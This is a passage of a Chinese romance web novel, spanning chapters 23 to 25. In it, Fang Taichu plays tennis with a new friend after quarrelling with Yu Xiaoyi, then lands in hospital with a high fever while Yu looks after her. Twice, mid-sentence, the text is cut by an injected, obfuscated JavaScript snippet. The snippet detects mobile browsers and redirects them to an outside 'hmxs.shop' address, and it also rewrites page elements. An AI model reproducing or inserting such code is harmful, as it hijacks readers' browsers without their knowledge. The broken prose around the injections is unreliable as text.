前排座位的小女生刚好在拍她,透过她的屏幕,小初看见他的表情管理也做得很好,可见这豪门的底蕴的确非一般人家可比。 就算是她家,她爸有时候在公司里生了气也是要大发雷霆的,发完火回到家还要她妈哄很久才能平息下来。 自然,她有时候也很怀疑她爸是故意回来撒娇的,谁让她妈妈温柔得像一片海,就算吸收了负面情绪,也能平静无波。 很可惜,她即没遗传她妈妈的好脾气,也没有她爸的好命,可以碰上一个全心爱她,包容她的人。 演讲结束,小初收拾东西往外走。 梁培风问:“要一块去打球吗?” 小初其实这会儿已经很累了,精神和身体都有些摇摇欲坠,但她想了想还是咬牙答应下来,他余萧弋可以做到的情绪管理,她方太初也没什么不行。 “OK,那你等我一下,我去洗手间换件衣服。” 梁培风点点头,自然而然接过她的书包,“还好我今天穿得就比较运动,衣服也不用换了。” 小初今天带的是一身白色的网球裙,高腰百褶裙配无袖翻领Polo衫,再将头发用同色防晒帽固定住,连她自己都觉得镜子里的少女青春明媚得有些过分了。 尤其她那双腿,本来就长,这么一搭配更是衬得她比例极佳,像从漫画中走出来一样。小初对着镜子自嘲笑笑,又给自己补了个妆。 既然想好了以后都漂亮地活着,也就别怕自己太过分了,过分的事情以后还多着呢。 她这么耀眼夺目又聪明可爱,却被人家当成娶妻前的放纵,那只能说明他余萧弋眼瞎心盲,她要让他后悔到将来午夜梦回时都要心悸,辅导丑孩子做功课时都要哭出声来。 从卫生间出来,好巧不巧,刚好碰上余萧弋陪教授和助理从走廊那头走过来。 四目相对,分外眼红。 小初心里冷笑,真是人算不如天算,今天活该他要被她气到发疯。 余萧弋的视线在她身上划过,转身交代了教授助理几句,就静静立在了原地。 如此,小初从当前位置走向他,就不得不多花上五秒。 五秒钟,已经可以发生很多事。 “这会儿去打网球?早餐都吐掉了话,血糖挨得住吗?”余萧弋率先开口,他相信他嘴角的笑容一定是无懈可击的,只是眼底的红血丝出卖了他昨晚一夜没睡的事实。 小初顿住脚步,睨他一眼:“嗯,一早就和朋友约好了的。” 余萧弋思索了一下,眉心微蹙:“一早就约好怎么在报告厅才互相握手自我介绍?” 小初呼吸一滞,“网友奔现不行吗?记得你之前问过我,在这边除了你还有别的朋友吗?嗯,现在有了。” 余萧弋仍不放心:“我只是担心你被人骗。” 小初倒有些好奇:“骗我什么?” 余萧弋静了静,目光如水般从她的眼睛向下,缓缓到她线条柔和的下巴和若隐若现的锁骨为止,停住。 他什么都没说,小初却什么都看懂了,脸忽地一红,“你不要以小人之心度君子之腹,以为全世界的人都跟你一样,看见个漂亮点的女孩子就满脑子龌龊想法,人又不是动物,也不能嗅到点春的气息就抑制不住荷尔蒙的冲动,连礼义廉耻都不要了吧?我接受不了你们的open relationship,余大少爷要是有这个需要,不妨再看看别人。” 余萧弋怔住:“什么open relationship?” 小初冷笑一声:“跟我装是吧?你们不都是对外宣称单身实际夜夜有人陪睡吗?还什么初吻,是跟某个人初次接吻吧?那这地球上有几十亿人,你大概还可以初吻几十亿次。” 余萧弋感觉自己长这么大就没被人当面给过这么大难堪,一时根本不知道该怎么反驳,只剩胸膛起伏着。 “我在你心里就是这种人?” 小初懒得理他,直接跑向不远处的梁培风,将那个装耳饰的小盒子从书包侧面口袋里掏出来,又大步跑回来,塞进他手中:“这个还给你,无论是赔罪还是赔偿,我都不接受。麻烦余学长你以后见了我都绕路走,不然说不定真的会被我推进海里喂鱼。我们……”小初强忍住喉间的酸涩,尽量让自己的声音听起来漫不经心,“不再是朋友了。” 教授和助理从卫生间里走了出来,诧异地看了两人一眼。 小初像朝鲜族见到前辈那样朝教授弯了弯腰,算是打过招呼,然后就大步跑走了。 人生第一次,余萧弋产生了无比厌弃自己的想法。认识她后,他的一切矜持克制教养和理智都化作了泡影,剩下的,只余本能。 爱的本能,征服的本能,想拥有想靠近,想将她据为己有的本能,若非如此,他昨晚也不会那么冲动,完全不计后果地对着她亲下去,那一刻的他已经完全背离了他自己,变成了另一个他不认识的人,也难怪,她反应那么大。 可是,她竟然没有任何犹豫就让他帮别人做人工呼吸,他自然也没有愚蠢到把人工呼吸和男女之情联系到一起,若那人真有生命危险他肯定义无反顾…… 他只想知道,她真的就一点不在乎吗? 就没有一秒钟把他视为她私有之物吗? 她对全世界都很好,偏偏对他,都是误解和防备,言语更是刻薄到……他已经完全抑制不住想将她一片片剥开,看看她心里到底有没有一个角落是留给他的冲动了。 他快疯了。 教授走过来,拍了拍他肩膀,“你还好吧,Theo?” 余萧弋做了个深呼吸,下一秒已勾起唇角,“还好,请这边走教授,我们校董还有很多关于两校间学术访问和科研合作的事宜想跟您探讨。” 另一边梁培风刚从自助机里买了饮料,好心递给小初一瓶:“你尝尝这个气泡水,味道很怪很特别,喝习惯了还有点上瘾。” 小初已经有种不好预感,低下头一看,果然是她最怕见到的那个饮料刺客,心下顿时一凛,可梁培风满脸期待,她又不好拒绝,只好勉为其难喝了一小口。 “怎么样?” “还,还不错。”小初露出痛苦面具。 梁培风大笑:“是吧,回头我回京,就把这玩意运回去卖,给北京人民一点color see see。” “麻烦放过北京人民,谢谢。” 两人一块往外走。 他性格如此爽朗,竟也赶不走小初心头任何阴霾,她知道余萧弋一行人就在身后不远,所以走得很快,出大楼下楼梯时,因为眼花,竟一下子迈了两阶下去,幸亏梁培风扶住了她,才没让她出更大的丑。 “谢谢。”小初淡淡抽回手。 梁培风担忧地看她一眼:“你没事吧?” 小初说:“没事。” “后面那小子,是你男朋友?” 小初即刻否认:“你什么眼神?” 梁培风不语。 两人走到太阳下。 夜雨后的晴天往往格外晴,这会儿虽然在节气上已经入了秋,温度却高的令人头晕。 梁培风说:“看你戴了遮阳帽,是打算打户外场吗?你们小姑娘不都怕晒吗?” 小初本没想那么多,被他一问,倒产生了点让太阳晒晒她脑子里的水的奇怪想法,于是反问他:“你怕晒吗?” “我一个大老爷们儿我怕什么?” “刚好,我也涂了防晒了。” 梁培风挑了挑眉。 两人坐小巴来到学校位于海边的室外网球场。 这会儿快到中午,天气又热,整个场地除了他们就再没别人。网球场地势有点高,举目远眺,山和海扑面而来,海盐味的微风轻抚着百褶裙边缘,阳光慵懒,热浪袭人,时光逐渐慢了下来。 这个夏天,已经快走到尾声了。 小初看了一会儿海,心情终于好了一点。 两人开始切磋。 小初的网球倒不是从小开始学的,而是初中时为了缓解长期伏案学习导致的肩颈痛才慢慢开始接触的。 不过她的运动天赋很好,几年下来也算打得有模有样,诸如正反手切换这种超帅技能掌握得尤其好,动作看着很是赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309769|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心悦目。 梁培风作为网球社成员自然打得也不赖,第二盘战至6-6后又耗费了快20分钟才分出胜负。 小初的血糖是真的挨不住了,直接跌坐在了场边的空地上,汗水不停落入眼睛,刺得她只想借机大哭一场。 “算了,今天到此为止了。”梁培风递过一瓶水过来。 万幸,这次不是饮料刺客。 小初抹了抹眼角,“别啊,放个平局在那里我晚上会睡不着的。” 梁培风笑:“好胜心这么强,如果我没猜错的话,阁下是海淀出来的吧?” 小初仰头喝了口水,“你这都什么刻板印象。” “反正你们那是盛产大魔王的温床。” “那你呢?” “西城,北京X中。” 小初轻嗤:“那你们也不遑多让啊。” “不敢当,我学得很一般。” “怎么跑这来学计算机了?” 梁培风在她身边坐下:“大概脑子进水了吧,五年花了一百多万,也不知做几年996的牛马才能把钱赚回来,赚回来后也不知道还有没有命花。” 小初默然。 她想起了她爸,也是从996一路这么拿命拼过来的。 “想开点,你们这行做好了也是真的赚钱的,实在不行就转行呗,去做证券,金融或是去咨询公司什么的,真学到东西再加上名校光环,总不至于饿死。” 梁培风耸耸肩。 喝完水,两人就地找了家餐厅一块吃了个午饭又一块回了学校。 或许是两人都来自北京的原因,也或许是两人本就性格相投,总之他们聊了很多,聊香港,聊北京,聊小时候都去过的长白山,不知不觉已如老友重逢,完全没了陌生人的拘谨。 小初突然意识到,原来“朋友”和“朋友”也是不一样的,都是一样的因缘邂逅,她和梁培风在一块,就完全没有暧昧流动的情愫,爱情这东西,果真是没道理的。 又上了一下午的课,小初才拖着不知道是谁的身体回了宿舍。 跳上地铁的那一刻,她甚至感觉她的灵魂都因为惯性脱离了躯壳,留在了地铁站里。 她太累了,晚饭都没吃,回去倒头就栽到了枕头上。 等林佳宜回来的时候,她体温已经再次飙升到四十度,就快烧到胡言乱语了。 香港这个地方肯定哪里克她,她实在没办法不这么想。 迷蒙中,她只听见林佳宜大呼着:“太初,你怎么了?” 一阵凌乱的脚步声后,朱慧雯那个不讨人喜欢的家伙也加入了对话的行列里。 “她失恋了,或许还加上点轻度中暑。”朱慧雯用塑料普通话笃定地说道。 林佳宜说:“你是医生还是我是医生?” “那你看她啊,皮肤比早晨出门时黑了几个度?肯定是跑室外打网球去了,这个傻女,就算失恋也不要这么折磨自己吧?” 林佳宜用湿毛巾擦了擦小初的额头,审慎说道:“被你这么一说还真有可能,昨天回来我听见她大骂某人渣男来着。” 朱慧雯说:“这个就对了嘛,有钱人家的少爷是那副德性啦,她这种单纯得甚至有点土的人,怎么跟人家玩得起呢。” “有钱人家少爷,谁?” “还不就是……” 小初被她们俩吵得头更晕了,稍微动一下就想吐,但还是垂死病中惊坐起,纠正朱慧雯道:“你注意措辞好不好,不是我玩不起,是我不要他!” 朱慧雯说:“好好好,是你不要他,你是美女来的嘛,美女想甩谁就甩谁,你有这个特权。” 小初再次载到枕头上去。 林佳宜和朱慧雯都慌了神:“现在怎么办?” 再醒来,小初已经在完全陌生的环境里,床边拉着帘,手臂上有冰凉的液体正顺着塑料管流向身体。 原来是医院。 很奇怪,宿舍离医院那么远,她竟然对她是怎么来到这里一点印象都没有了。好像做了一个好长好长的梦,梦里海风轻拂,阳光慵懒,而她被什么人抱在怀中,鼻息里都是草木被晒干的味道,很舒服,很安全。 “醒了?”有人自帘子那边伸手过来。 小初吓一跳,心率骤然上升。 “是你?你怎么在这?”小初无比懊恼焦急,“林佳宜她们呢?” 余萧弋将一盅汤放在她床头,并上前来扶她,答非所问:“要不要喝几口?我特地叫人炖给你的,苦瓜炖瘦肉,极其下火。” “你还没回答我问题,你为什么会在这?”小初如临大敌,看他像洪水猛兽。 “那是因为……”余萧弋叹口气,“你在昏睡中一直喊我的名字,你室友没办法,只好用你的手机打电话给我了。” “什么东西?” 余萧弋同情地看她一眼:“就是你想的那样。” “简直是危言耸听。”小初绝不承认,“我们已经不是朋友了,我喊你名字做什么?” “我也想知道。”余萧弋从口袋里拿出那个装耳饰的小盒子,并在她面前缓缓打开,毫不留情揭穿她的谎言,“我们既已不是朋友了,你这滴眼泪,是为什么?” 他用一截修长的手指,点在那张小小的便签纸上,被她的眼泪晕染的地方。 那个地方,刚好是他的名字。 Yours, Theo Yu. 24. 第 24 章 病房里很静很静,静到几乎可以听见输液管里液体不断低落的声音。 方太初的目光定在那张纸上,有那么几秒,她的大脑是空白的,但很快,也就恢复了清明,转而不解地问了句:“这是什么?” 余萧弋千想万想,也没想到她会直接耍无赖,抬眸看了她半晌,“算了,当我没说。” 一副也没必要和不真诚的人计较的样子。 小初再次感觉自己的情绪被掌控到,底气不足盯着他的眼睛:“什么意思?” 余萧弋不说话。 小初呼吸一滞,终于感受到了掩盖一个谎言需要付出的代价有多大,但为了证明自己的品行,她也顾不上那么多了,“我打开盒子的时候可没注意到这个便签,如果真有什么水痕,也应该是我洗手时候不小心把水滴上去了。” 接着干脆倒打一耙,“余萧弋,你未免也太自作多情,看见个水痕就联想到眼泪,那你看见游泳池岂不是要联想到太平洋?” 余萧弋勾了勾唇,“你说得没错,是我自作多情。”他站起身来,“你好好休息,有什么事打我电话。” 这本是一间双人病房,但另外一张床没有住人,大概是为了保护病人的隐私,医护人员还是帮她挡了床帘。 余萧弋起身的动作有点大,带动床帘无风自动一阵飘飞,小初心弦一紧,不自觉有些慌,“你,你要走?” 余萧弋看了眼输液管里的药水,认真解释道:“这边晚上只能一个家属陪床,你室友把你拜托给我就回去了,不是我有意模糊我们之间的边界感。但既然你已经把我从你的朋友名单里除名了,再和你这样共处一室似乎也不合适,所以折中一下,我就去外面走廊坐一下好了,我昨天没怎么睡,怕一会儿不小心睡着了,你喊我听不见什么的……打电话保险一点。” 他这段话信息量太大,小初有些消化不过来,但她很肯定她并不想一个人待在一间午夜的病房里,可话已经被她说得太决绝,再求人家留下来陪她似乎就有点功利心太重了,不是她做人的风格。 “我先出去了啊,你再睡会,这个药刚换,半个小时之内肯定不用担心。” 余萧弋转过身去。 小初咬了咬唇。 “哎,余萧弋。”她突然喊住他。 管不了那么多了,功利心就功利心吧,被他看不起就看不起吧,她爸说了,资本家是不用太有良心的,不然会活得很痛苦的,被鄙视总好过午夜梦回被吓到心悸。 想到这她更是一阵头痛,果然人是不能无端诅咒别人的,否则,说不定就要先应验到自己身上来了。 余萧弋不解地回过头来:“什么?” 小初本已绝望的目光落在床头柜的白色炖盅上,忽然就有了神采,“你说你带了汤给我喝?我能尝尝吗?” “你想喝?”余萧弋神色不定地看了看她,“现在吗?” 小初的声音提高了几分,一副理所当然的样子,“对啊,就现在啊,现在不喝一会儿不凉了吗?这次也是你家工人姐姐的一片心意吗?” “……”余萧弋默了默,“是。” “那我就更不能辜负了啊,这大晚上的,还要害人家牺牲休息时间加班,我早跟你说了的,我遗传了我妈妈的感性和包容,最看不得别人的辛苦付诸东流了。”小初弯了弯眼睛。 余萧弋一时根本没想明白她怎么态度就来了个一百八十度大转弯,但还是从善如流地再次在她身边坐了下来,打开炖盅,把汤匙递给她。 “这个汤清热解毒的功效很好,小时候不管哪个小朋友生病家里都会煮这个来喝的,尤其夏天,热气太盛的时候。医生说你有些中暑症状,喝这个应该是对的。” 小初瞥了一眼汤里面的苦瓜,还没喝脸就已经皱成了一团,“可是……我不吃苦瓜的。” ——我也从不喝苦瓜汤的。 但这句话显然已经不适合这会儿说了。 现在就算那里面是一碗毒药,她恐怕也不得不壮士断腕一般喝下去了。 余萧弋耐心很足,“那你就不吃,只喝汤就好。” 小初还是一脸痛苦和犹豫。 余萧弋深深看了她一眼,很体贴地合上了盖子,“其实也不用那么勉强的,一碗汤而已,谈不上什么辜负不辜负。” “别。”小初拉住他的手,“我喝。”然后又小声说:“你能不能帮我把苦瓜吃掉,别让我看见它们。” 余萧弋没想到她竟然也有如此孩子气的一面,手背上她指尖传来的柔软触感更是让他一阵恍惚,连本想出口的话“吃掉干嘛,直接挑掉扔进垃圾桶就好了啊”都不自觉变成了,“好,我帮你吃,可,这怎么吃?” 小初疑惑:“什么怎么吃,你不是人类吗?人类都用工具。” “我是说,阿姨只带了一把汤匙过来,你会不会嫌弃我?”余萧弋不经意看了她的唇一眼。 小初简直被他气笑了:“我的余大少爷,这会儿倒想起克己复礼来了,那你昨晚……” 话一出口,已觉不妥,但倏然收声已经阻挡不住气氛往奇怪的方向去了。 两人都红了脸。 小初差点被自己蠢哭,有些气急败坏,抓着汤匙舀了一口苦瓜就喂进了他嘴里,“别说话,快吃。” 余萧弋还没反应过来发生了什么就被塞了一嘴苦瓜。 他其实想说在他们家是没有吃汤渣的,他长这么大也不知道炖熟的苦瓜是这个味道啊,这也太难吃了吧? 他只不过是不小心喜欢了一个女孩子而已,还要学人家勾践卧薪尝胆吗? 小初不知他心中所想,眼睛里都是好奇,她是真没想到这世上是真有人爱吃苦瓜的,小时候住清华园,姥姥也总做凉拌苦瓜和苦瓜炒蛋这两道菜,还总哄着她吃,她那时候就不止一次想过,这玩意到底什么时候能从地球上灭绝。 今天这么一看,还真不能灭绝,这世上每一样东西,显然都有它存在的道理。 “这么好吃吗?” 余萧弋机械吞下去,压根儿没敢细品到底是什么味道进入了自己的身体,但面上还是淡定从容的,“还行。” 小初就等他这句话了,心满意足往枕头上一靠,“那你慢慢吃,我不着急的。” 等他慢慢吃完,她这边也要换药了吧,时间这么浪费一下,夜就很深了,然后她再“不经意”邀请他干脆就在房间里另一张床上休息一下好了,反正两人中间还隔着床帘,也不算什么越界,这样,她就不用一个人面对恐惧了。 等明天一早太阳顺着窗户爬起来…… 她冷哼一声,看她回去要怎么收拾朱慧雯那个讨厌鬼,她才不相信她高烧烧糊涂了会叫余萧弋的名字,她这么有原则有底线这么理智这么清醒,就算病死,她都不可能喊一个和自己没关系的人的名字好吗? 一定是她自作主张的。 余萧弋的手机号码说不定都是她从余淙淙那边拿的,还在这跟她玩起瞒天过海了,她方太初有那么好骗吗? 她骗她也就算了,还给无辜的人扯进来,她明明对他无意,又怎么好浪费人家的时间? 更何况人家还一个豪门大少爷,估计从小到大都没给谁陪过床,这么大的一个人情,要她怎么还? 明明已经说好了不再是朋友,不必见面也不必再纠缠的。 事情却急转直下变得这么麻烦。 要死了。 余萧弋一边痛苦吃着苦瓜,一边看着坐在那里不说话时样子乖得不行的小初,眼神不自觉温软下来,问她:“方太初,你在想什么?” “我在想,要怎么拧掉一个人的脑袋。” 余萧弋默了默,不知要不要收回“她好乖”这个想法,问道:“谁?” “你小叔昨晚在马路边亲得难舍难分的那个女朋友。” 手中汤匙不小心碰到炖盅的边缘,空气里顿时传来一声瓷器破空音。 “你已经知道……”余萧弋没再说下去,继而摇头苦笑了一下,“是了,你那么聪明。我竟然还幻想着能多瞒你一些时间,是我太天真。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16309770|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小初奇怪看他一眼:“瞒什么?” “我小叔他,比较放浪不羁,从小就不喜欢被家里束缚,只为他自己而活。我不敢说他这么想这么做到底是对是错,毕竟人就只有这一辈子,短短几十年,无论想怎么过,都无可厚非,只要不伤害到别人,就没有人有资格指责。但是……” 余萧弋叹口气,“想必你也看见他最近的新闻了吧?他那个前女友结婚后,他就像变了个人似的,每次被狗仔拍到,不是在酒吧买醉,就是高调搂着新女友出街,然后又跟每一任都超不过三个月。” 小初挑了挑眉:“我看见了,八卦报纸都管他叫痞帅二世祖嘛。”然后又淡笑补了句:“你们家还真是人才辈出。” 余萧弋不确定她这一句到底是夸赞还是嘲讽,但还是试探地问了句:“所以你……不想再跟我做朋友,是不是因为你觉得我……也会似他?” 小初并未想过会在今晚跟他探讨这个问题,深夜的病房,显然不太适合聊感情的话题,她只是觉得针头戳进血管的部位好痛,房间里的空调开得太低,冰凉的液体奔涌着冲进她的身体,每一秒都没有放弃提醒她——别为爱情折磨自己,否则,就是这个下场。 她不该顶着大太阳去打户外网球的。 朱慧雯说得一点都没错。 小初扯过被子盖住手背,却仍是发冷,冷得她控制不住地寒颤,她估计她体温又上来了。 以前她每次发烧就是这样,总要反反复复几次才能降下来,后半夜尤其容易高热,害她爸妈晚上根本不敢睡,要一直守着她。 黄亦玫说她小时候有高热惊厥史,第一次发作时候差点把她和方协文吓死,那时候他们一家还住在上海的小阁楼里,她抱着她下楼的时候,脚一滑差点没把她从楼梯上摔下去。 余萧弋看出她的异常,放下手里的炖盅关切地向前一步,“你怎么了?” 小初不想被他看出自己此刻的脆弱,强撑着说道:“没怎么,就是药有点凉。” 余萧弋脸上立刻浮现起自责的神色来,“是我疏忽了。” 说着就从他双肩背包取过他的运动水杯来,大踏步出了门。没一会儿就接了满满一瓶热水回来,扯过小初的被角将杯子埋了进去,并让杯子贴在输液管上,这样进入她身体的药液就没那么凉了。 “这样有没有好一点?” 他竟还对她这样温柔。 那他以后也会对他老婆这样温柔吗? 一个人的温柔,真的可以给那么多人吗? 小初不是很懂。 因为她身边都是一生一世一双人的典范,她的家庭观念,和余萧弋所在的文化圈根本背道而驰,所以,她理解不了他们家族每一辈都有男人妻妾成群然后大家表面上还能相安无事的诡谲画面。 感觉像是回到了旧社会。 三观不同也没什么可说的。 “好多了,谢谢。” 又撑了一会儿,小初是真的撑不住了,头稍微往旁边歪了歪就睡了过去。 迷蒙中她好像听见他喊护士过来给她测体温,然后就感觉到有什么冰冰的东西被人放在了腋下,又被取走。 接着就是他的声音:“护士,她又烧到四十度了,怎么办?” 至于护士又说了什么她就记不清了。 她陷入了梦魇之中。 梦里的她捧着余萧弋的脸,叹息着:“我该拿你怎么办才好?” “我带不走你。” “余萧弋,你别跟别人结婚,好吗?” 梦外的余萧弋正在遵医嘱帮她往额头上贴降温贴,不期却看见她突然皱起了眉毛,眼泪大颗大颗地落了下来,没一会儿就把枕头浸湿了混沌的一小片。 和那张便签纸上墨水晕染的样子一模一样。 心如刀割的感觉几乎是瞬间就袭来的。 他伸出手去帮她抹了抹眼角的泪,任指腹被濡湿,“知道你很难受,别哭,明天就好了。” 然后就听见她小声咕哝了一句:“余萧弋,别结婚。” 25. 第 25 章 极负盛名的港岛白加道别墅区,向来是政商名流们的聚集地之一,虽在历史底蕴上欠缺了一些,但胜在房型设计比较贴近现代人审美,且私密性极佳,每户都是独门独院,不需要和别人做邻居。 余家当初购置这处房产,主要是因为余太个人比较喜欢清净,希望孩子们能多亲近大自然。 可这一晚,余宅的宁静却被一通电话打破了。 彼时余太刚忙完工作上一堆令人焦头烂额的事,都已经准备睡觉了。 一般而言,晚上十点之后没有极特殊的事,是没有人会来打扰的,今天这是怎么了? 瞥了一眼后更加奇怪,竟是她那个自成年后就从家里搬出去了的大儿子,他不是昨天刚在老宅那边负气出走吗,怎么,气还没消,又来找她这个亲妈发泄? 余太将电话开成免提,开始卸妆。 “妈,你还没睡呢吧?” 余太说:“睡了也被你吵醒了,说吧怎么了,是有什么难题需要我们帮你解决吗?” “没怎么,我就是想问问,你们是不是给我琢磨了一门婚事?” 余太被这孩子的胡言乱语吓了一跳,而后又觉得好笑,逗他,“怎么,你才二十二岁就着急结婚了啊?也行,你先跟我说说你喜欢上谁了,我和你爸爸有空的时候帮你琢磨琢磨。” “我现在没空跟你开玩笑,你就说到底有没有这回事,有的话在什么范围传播过,这件事对我很重要!” 余太不接话,反而朝卧室里的老公喊了句:“余先生,快过来,了不得你们家大公子谈恋爱了!” “真的?”一个因面孔太显年轻以至于五十岁了在老婆面前还像个弟弟的男人几步就进了主卧卫生间,饶有兴致拿过手机,“小余小余,你终于开窍了?我还以为你三十五岁之前都不会找到人接手了呢。” 余萧弋呼吸一滞:“我哪里残缺吗在你们眼里?” 他爸妈都大笑,“没人说你残缺,就觉得你眼光太挑,漂亮的你嫌人家不够聪明,聪明的你又嫌人家不够漂亮,聪明又漂亮的你又嫌人家功利心太重,怎样,你还真找到你想要的那个聪明漂亮还对你别无所图的仙女啦?什么时候带回来吃饭,让我们也开开眼。” “……”余萧弋很崩溃。 他们到底有没有听他说话? “挂了,晚安吧余生余太。” 他累了。 他妈妈仍是笑:“反正我和你爸从不做无聊事到处宣扬家里隐私的,至于你们余家其他人,尤其那些爱接受媒体采访的,我们就不得而知了。” “好吧我知道了。” “女朋友记得带回来吃饭哦。” 电话已经没了声音。 又两分钟后,正和好友在外喝酒的余蓁蓁的电话也响了起来。 友人打趣她:“刚刚还说什么自己这辈子注定孤寡,半杯酒还没喝完,天就变了。” 余蓁蓁随意歪在沙发上,只穿了最简单样式的白色真丝衬衫,看着却依旧贵不可言,这已经是今天的第二场酒,半个小时之前她刚和一群老狐狸谈完事,现在还头昏脑涨着,连着声音都有些飘忽,“这福气你喜欢送你。” 说着就点击了接听:“仔?怎么了,这么晚打电话?” 余蓁蓁的声音很轻,但余萧弋还是蹙起了眉:“这都几点了,姑姑还没回家呢?” 电话那头的爵士乐舒缓地流淌着,有低沉的男声在演唱《Stayed in the Silence》。 余蓁蓁笑:“回家也是一个人,回家干什么?不然你回来陪姑姑?” “凭着姑姑的智慧,不应该为寂寞烦恼,孤独本来就是一个人能到达的最高境界。” 余蓁蓁笑骂:“少来这一套,快说什么事?” 余萧弋斟酌了一下措辞,“没什么,就是最近好像传闻我们余家要有喜事发生,我有点好奇,咱们家这大中小加起来单身人士这么多,说的到底是哪个?是小叔收心了,还是离婚的二叔焕发第二春了,总不会是姑姑你突然头脑发昏了吧?” “臭小子。”余蓁蓁将杯子里的酒饮尽,立刻有侍者不动声色持了酒瓶过来。 “我发昏的可能性不大,但是揍人的力气却很大,哪天滚过来吃饭。” 余萧弋自然不能就此罢休,又补了句:“所以到底是哪个?” 余蓁蓁说:“不知道,你都说传闻啦。不过我们家这几位算起来,我估计也就你堂哥余珺彦还有点希望吧?他都二十八了,也跟女朋友好了这么多年了,女方家最近似是有些急,一直盼着能把这件事定下来呢。具体我不知啊,有你爷爷奶奶在,他自己还有爸妈,怎么也轮不到我操心。” 余萧弋挑了挑眉,“原来是他。” 余珺彦,二叔年少叛逆时的私生子,从小在爷爷奶奶身边长大的,因为身份特殊,向来比较好强,一路名校读上去的,前两年哈佛毕业后就进了华尔街一家投行。 不过,他有预感,很快他就会回到家里公司任职了。 “可不就是他。人家可比你精乖得多,又上进努力不要人操心,不知哄得你爷爷奶奶有多开心,哪像你……” 医院里有护士查房,“家属,病人情况怎么样了,烧退了吗?” 余萧弋匆匆说了句:“我不跟你说了啊姑姑,改天回去陪你吃饭。” 余蓁蓁蹙了蹙眉毛:“你陪谁在医院呢?” “一个朋友。”余萧弋匆匆挂了电话。 友人笑着凑过来:“Theo是不是谈恋爱了?怎么感觉这个深夜电话怪怪的。” 余蓁蓁喝了口酒:“年轻人不谈恋爱干什么,难道像你我一样,每天除了工作就是工作,好好的人都快被消磨殆尽了。只是谈谈恋爱而已,又不是叫他们明天就手挽手去结婚。” 友人意味深长一笑,“话都被你讲完,谁不知明早一醒来,你就是最生龙活虎的那一个。” 余蓁蓁骂:“你痴线啊。” 说着就放下了酒杯,刚刚唱歌的年轻男孩立刻会意走上前来,轻轻一个俯身就把她抱进了怀里,两人往楼上去了。 余萧弋回到病房,方太初还在昏睡。 但好歹退烧药起了效果,体温已经控制住了。 医生说她这就不是中暑那么简单,而是很长一段时间身体的疲惫和精神的压力一齐发作的后果,中暑只是个诱因,就算没有这次,她总也要大病一场了。 她睡着的样子很沉静,头发海藻般铺了一整个枕头。即便生病的样子有些狼狈,却依然不掩满身芳华。 美人就是美人,管她哭还是笑,管她素颜还是盛装。妈妈说他只喜欢漂亮又聪明的女孩子,对,也不对。 因为只有遇见她方太初后,他才知道人真正的漂亮根本与皮囊无关,而在于那股不染俗尘的潇洒。 他喜欢的,就是她那一份率真和潇洒。 那是他从未其他任何人身上见过的东西。 余萧弋扯过椅子在她身边缓缓坐下,到底还是没忍住,帮她把微蹙的眉心稍稍抚平了一些,不想下一秒,她就露出一个更不耐烦的表情来。 “哪来的一身反骨。”余萧弋咬咬牙,没好气地点了点她的头,最终还是笑了。 凌晨一点的夜很静,没多久,他就趴在她枕边陪着她一块睡着了。 两人都太累了,直睡到护士推门查房还没醒。 最后还是小初先懵懵然睁开的眼,眼前骤然放大的余萧弋的脸和梦中别无二致,她吓了一跳,本能向后一退,差点没从床的另一侧跌下去。 床头柜上的不锈钢托盘刚好被她碰掉在了地上,房间里顿时一阵叮叮咣咣的刺耳噪音,还不知发生什么事的余萧弋被吓得直接从椅子上跳了起来,第一反应就是去用手护住小初的头,“怎么了,地震了吗?” 护士好笑地看了两人一眼,递过一支体温计来,“就算真有地震,先生你应该也能护住女朋友的。不过,还是量体温先吧。” 小初不想跟外人解释什么,最主要她还没刷牙并不太想说话,于是沉默。 余萧弋因她的沉默偷偷看了她一眼,嘴角不自觉上翘了一个好看的弧度。 小初接过护士的体温计,两人的距离依旧太近,她只能以手势代替语言,指了指门的位置,示意他先出去。 余萧弋看她精神已经恢复到和平时差不多,眼睛里也有了亮光,一颗悬着的心也算是终于归了位,于是也没多说什么,顺着她的意出门去了。 走到门口想起什么又回头问她:“我去买早餐,你想吃什么?” 既然已经麻烦人家一晚上了,这会儿再客气就矫情了,小初想了想说道:“想喝粥可以吗?” “什么粥?” “都可以,不过我不吃猪肝。” 余萧弋挑眉看向她,笑:“小姐你回头要不还是给我列个清单吧,昨天是苦瓜,今天是猪肝,上次是兔肉,下次又是什么?万一我买错,你又要我吃完你的那一份。” 小初瞪他:“余萧弋你注意你的态度。” 虽然她没想和他在一起,可他连这点耐心都没有,还追什么女孩子? 吃点她不想吃的东西又怎么了,多少人想吃还没这个福气呢。 再说了,谁要跟他有下次。 余萧弋态度立刻软化下来,“OK,我错了。”又问她:“生滚肉碎粥配蔬菜可以吗?” “菜心。” “OK,就菜心。” “小食呢 ?” 他话怎么这么多!小初赧然看了护士一眼,“不要不要,快走快走。” 余萧弋得了令,步伐轻快地下楼去了。 护士小姐很久没有见到这么登对的小情侣,脸上的姨母笑就没停过,余萧弋一走,她就朝小初眨了眨眼:“小姐,你男朋友好宠你,又好温柔好有耐心,昨晚你反反复复发烧都是他亲力亲为照顾你,又是测体温又是擦身……” 小初不敢相信自己听到了什么,满眼惊恐,“擦,擦身?” “哦,不是你想得那样,是额头啊,手肘啊, 